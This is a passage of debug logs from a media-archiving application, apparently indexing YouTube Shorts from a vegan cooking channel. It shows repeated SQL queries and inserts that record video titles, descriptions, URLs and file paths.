Chocolate Avocado Pie recipe here: https://youtu.be/8GSEsZWhkhs", "A snack that's almost as hot as Patrick Swayze in Dirty Dancing #shorts", "327e21c4-7c42-4285-bf20-72525d6b4007", 1, [], 15, false, "Pxy6PbciIew", "https://www.youtube.com/shorts/Pxy6PbciIew", 409, "/downloads/downloads/alec/Steamy Vegan/2022-05-31 A snack that's almost as hot as Patrick Swayze in Dirty Dancing #shorts/A snack that's almost as hot as Patrick Swayze in Dirty Dancing #shorts [Pxy6PbciIew].NA", false, false, true, 2, ~U[2022-05-31 02:27:21Z], ~U[2026-03-22 03:29:45Z], ~U[2026-03-22 03:29:45Z], "These dark chocolate fruit and nut clusters are so delicious and so hot you'll drool over them just like you do over Patrick Swayze's dance moves in Dirty Dancing. \n\nFull Recipe Video: https://youtu.be/Vz0RjvXVJf4\n\nAlso, if you like chocolate check out my Chocolate Avocado Pie recipe here: https://youtu.be/8GSEsZWhkhs", "A snack that's almost as hot as Patrick Swayze in Dirty Dancing #shorts", 1, 15, false, "Pxy6PbciIew", "https://www.youtube.com/shorts/Pxy6PbciIew", "/downloads/downloads/alec/Steamy Vegan/2022-05-31 A snack that's almost as hot as Patrick Swayze in Dirty Dancing #shorts/A snack that's almost as hot as Patrick Swayze in Dirty Dancing #shorts [Pxy6PbciIew].NA", true, ~U[2022-05-31 02:27:21Z]] 20:29:45.679 [debug] QUERY OK source="sources" db=0.4ms idle=127.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:45.680 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:45.680 [debug] QUERY OK source="media_items" db=0.4ms idle=5.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [798] 20:29:45.680 [debug] Current batch of media processed. Will check again in 1000ms 20:29:46.681 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "These vegan and gluten free dark chocolate raspberry scones are so mouth watering that they belong in a sex scene with Patrick Swayze. You've gotta try these, they make the perfect vegan and gluten free snack with your morning coffee or while watching a Patrick Swayze movie.\n\nFull Video: https://youtu.be/Vz0RjvXVJf4\n\nDon't forget to subscribe!!!", "duration" => 14, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-30 Food so steamy it belongs in a sex scene with Patrick Swayze #shorts/Food so steamy it belongs in a sex scene with Patrick Swayze #shorts [UcwjoUFiMT8].NA", "id" => "UcwjoUFiMT8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/UcwjoUFiMT8", "playlist_index" => 410, "timestamp" => 1653927970, "title" => "Food so steamy it belongs in a sex scene with Patrick Swayze #shorts", "upload_date" => "20220530"} 20:29:46.682 [debug] QUERY OK source="sources" db=0.7ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:46.683 [debug] QUERY OK source="sources" db=0.4ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:46.685 [debug] QUERY OK source="media_items" db=2.2ms idle=1003.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-30 16:26:10Z], 1] 20:29:46.686 [debug] QUERY OK source="media_items" db=0.8ms idle=1005.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These vegan and gluten free dark chocolate raspberry scones are so mouth watering that they belong in a sex scene with Patrick Swayze. You've gotta try these, they make the perfect vegan and gluten free snack with your morning coffee or while watching a Patrick Swayze movie.\n\nFull Video: https://youtu.be/Vz0RjvXVJf4\n\nDon't forget to subscribe!!!", "Food so steamy it belongs in a sex scene with Patrick Swayze #shorts", "e54854b9-cbc1-49ba-9d18-0b5a71c33a19", 1, [], 14, false, "UcwjoUFiMT8", "https://www.youtube.com/shorts/UcwjoUFiMT8", 410, "/downloads/downloads/alec/Steamy Vegan/2022-05-30 Food so steamy it belongs in a sex scene with Patrick Swayze #shorts/Food so steamy it belongs in a sex scene with Patrick Swayze #shorts [UcwjoUFiMT8].NA", false, false, true, 0, ~U[2022-05-30 16:26:10Z], ~U[2026-03-22 03:29:46Z], ~U[2026-03-22 03:29:46Z], "These vegan and gluten free dark chocolate raspberry scones are so mouth watering that they belong in a sex scene with Patrick Swayze. You've gotta try these, they make the perfect vegan and gluten free snack with your morning coffee or while watching a Patrick Swayze movie.\n\nFull Video: https://youtu.be/Vz0RjvXVJf4\n\nDon't forget to subscribe!!!", "Food so steamy it belongs in a sex scene with Patrick Swayze #shorts", 1, 14, false, "UcwjoUFiMT8", "https://www.youtube.com/shorts/UcwjoUFiMT8", "/downloads/downloads/alec/Steamy Vegan/2022-05-30 Food so steamy it belongs in a sex scene with Patrick Swayze #shorts/Food so steamy it belongs in a sex scene with Patrick Swayze #shorts [UcwjoUFiMT8].NA", true, ~U[2022-05-30 16:26:10Z]] 20:29:46.687 [debug] QUERY OK source="sources" db=0.5ms idle=186.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:46.688 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:46.689 [debug] QUERY OK source="media_items" db=0.5ms idle=5.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [799] 20:29:46.689 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-30 REGROW YOUR GREEN ONIONS IN WATER! Food hacks to help you save money! 🌱/REGROW YOUR GREEN ONIONS IN WATER! Food hacks to help you save money! 🌱 [2VZEaMVmQyE].NA", "id" => "2VZEaMVmQyE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/2VZEaMVmQyE", "playlist_index" => 411, "timestamp" => 1653875061, "title" => "REGROW YOUR GREEN ONIONS IN WATER! Food hacks to help you save money! 🌱", "upload_date" => "20220530"} 20:29:46.690 [debug] QUERY OK source="sources" db=0.9ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:46.691 [debug] QUERY OK source="sources" db=0.2ms queue=0.2ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:46.692 [debug] QUERY OK source="media_items" db=1.7ms idle=3.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-30 01:44:21Z], 1] 20:29:46.695 [debug] QUERY OK source="media_items" db=1.8ms idle=4.8ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["REGROW YOUR GREEN ONIONS IN WATER! Food hacks to help you save money! 🌱", "f07ecd5c-46d0-4289-a160-3ecb9849fe94", 1, [], 15, false, "2VZEaMVmQyE", "https://www.youtube.com/shorts/2VZEaMVmQyE", 411, "/downloads/downloads/alec/Steamy Vegan/2022-05-30 REGROW YOUR GREEN ONIONS IN WATER! Food hacks to help you save money! 🌱/REGROW YOUR GREEN ONIONS IN WATER! Food hacks to help you save money! 🌱 [2VZEaMVmQyE].NA", false, false, true, 1, ~U[2022-05-30 01:44:21Z], ~U[2026-03-22 03:29:46Z], ~U[2026-03-22 03:29:46Z], "", "REGROW YOUR GREEN ONIONS IN WATER! Food hacks to help you save money! 🌱", 1, 15, false, "2VZEaMVmQyE", "https://www.youtube.com/shorts/2VZEaMVmQyE", "/downloads/downloads/alec/Steamy Vegan/2022-05-30 REGROW YOUR GREEN ONIONS IN WATER! Food hacks to help you save money! 🌱/REGROW YOUR GREEN ONIONS IN WATER! Food hacks to help you save money! 🌱 [2VZEaMVmQyE].NA", true, ~U[2022-05-30 01:44:21Z]] 20:29:46.695 [debug] QUERY OK source="sources" db=0.3ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:46.696 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:46.696 [debug] QUERY OK source="media_items" db=0.3ms idle=5.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [800] 20:29:46.696 [debug] Current batch of media processed. Will check again in 1000ms 20:29:47.697 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 25, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-29 How to stop your herbs from wilting! 🌿 Vegan food hacks/How to stop your herbs from wilting! 🌿 Vegan food hacks [oRk9ypNQYK8].NA", "id" => "oRk9ypNQYK8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/oRk9ypNQYK8", "playlist_index" => 412, "timestamp" => 1653847225, "title" => "How to stop your herbs from wilting! 🌿 Vegan food hacks", "upload_date" => "20220529"} 20:29:47.698 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:47.699 [debug] QUERY OK source="sources" db=0.7ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:47.702 [debug] QUERY OK source="media_items" db=2.2ms idle=1003.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-29 18:00:25Z], 1] 20:29:47.703 [debug] QUERY OK source="media_items" db=0.9ms idle=1005.7ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["How to stop your herbs from wilting! 🌿 Vegan food hacks", "610e234e-e4d1-44e8-ad9c-b55955cac861", 1, [], 25, false, "oRk9ypNQYK8", "https://www.youtube.com/shorts/oRk9ypNQYK8", 412, "/downloads/downloads/alec/Steamy Vegan/2022-05-29 How to stop your herbs from wilting! 🌿 Vegan food hacks/How to stop your herbs from wilting! 🌿 Vegan food hacks [oRk9ypNQYK8].NA", false, false, true, 0, ~U[2022-05-29 18:00:25Z], ~U[2026-03-22 03:29:47Z], ~U[2026-03-22 03:29:47Z], "", "How to stop your herbs from wilting! 🌿 Vegan food hacks", 1, 25, false, "oRk9ypNQYK8", "https://www.youtube.com/shorts/oRk9ypNQYK8", "/downloads/downloads/alec/Steamy Vegan/2022-05-29 How to stop your herbs from wilting! 🌿 Vegan food hacks/How to stop your herbs from wilting! 🌿 Vegan food hacks [oRk9ypNQYK8].NA", true, ~U[2022-05-29 18:00:25Z]] 20:29:47.704 [debug] QUERY OK source="sources" db=0.6ms idle=201.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:47.705 [debug] QUERY OK source="media_profiles" db=0.7ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:47.705 [debug] QUERY OK source="media_items" db=0.3ms idle=5.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [801] 20:29:47.705 [debug] Current batch of media processed. Will check again in 1000ms 20:29:48.706 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "7 years ago, my husband and I stopped eating gluten and it changed our lives. This scene from Southpark gives a pretty good explanation of why we don't eat gluten.\n\nCheck Out Some of the Foods We Eat on a Gluten-Free and Vegan Diet in this Video: https://youtu.be/TMKNdPVZHg8", "duration" => 60, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-29 Why My Husband and I Don't Eat Gluten - Explained By Southpark (Explicit) #shorts/Why My Husband and I Don't Eat Gluten - Explained By Southpark (Explicit) #shorts [nZ_0-cenouI].NA", "id" => "nZ_0-cenouI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/nZ_0-cenouI", "playlist_index" => 413, "timestamp" => 1653833705, "title" => "Why My Husband and I Don't Eat Gluten - Explained By Southpark (Explicit) #shorts", "upload_date" => "20220529"} 20:29:48.707 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:48.709 [debug] QUERY OK source="sources" db=1.3ms idle=1003.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:48.713 [debug] QUERY OK source="media_items" db=3.5ms idle=1004.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-29 14:15:05Z], 1] 20:29:48.715 [debug] QUERY OK source="media_items" db=1.6ms idle=1008.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["7 years ago, my husband and I stopped eating gluten and it changed our lives. This scene from Southpark gives a pretty good explanation of why we don't eat gluten.\n\nCheck Out Some of the Foods We Eat on a Gluten-Free and Vegan Diet in this Video: https://youtu.be/TMKNdPVZHg8", "Why My Husband and I Don't Eat Gluten - Explained By Southpark (Explicit) #shorts", "efc5987d-2ae4-4029-9b18-267d029d8adb", 1, [], 60, false, "nZ_0-cenouI", "https://www.youtube.com/shorts/nZ_0-cenouI", 413, "/downloads/downloads/alec/Steamy Vegan/2022-05-29 Why My Husband and I Don't Eat Gluten - Explained By Southpark (Explicit) #shorts/Why My Husband and I Don't Eat Gluten - Explained By Southpark (Explicit) #shorts [nZ_0-cenouI].NA", false, false, true, 1, ~U[2022-05-29 14:15:05Z], ~U[2026-03-22 03:29:48Z], ~U[2026-03-22 03:29:48Z], "7 years ago, my husband and I stopped eating gluten and it changed our lives. This scene from Southpark gives a pretty good explanation of why we don't eat gluten.\n\nCheck Out Some of the Foods We Eat on a Gluten-Free and Vegan Diet in this Video: https://youtu.be/TMKNdPVZHg8", "Why My Husband and I Don't Eat Gluten - Explained By Southpark (Explicit) #shorts", 1, 60, false, "nZ_0-cenouI", "https://www.youtube.com/shorts/nZ_0-cenouI", "/downloads/downloads/alec/Steamy Vegan/2022-05-29 Why My Husband and I Don't Eat Gluten - Explained By Southpark (Explicit) #shorts/Why My Husband and I Don't Eat Gluten - Explained By Southpark (Explicit) #shorts [nZ_0-cenouI].NA", true, ~U[2022-05-29 14:15:05Z]] 20:29:48.716 [debug] QUERY OK source="sources" db=0.7ms idle=211.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) 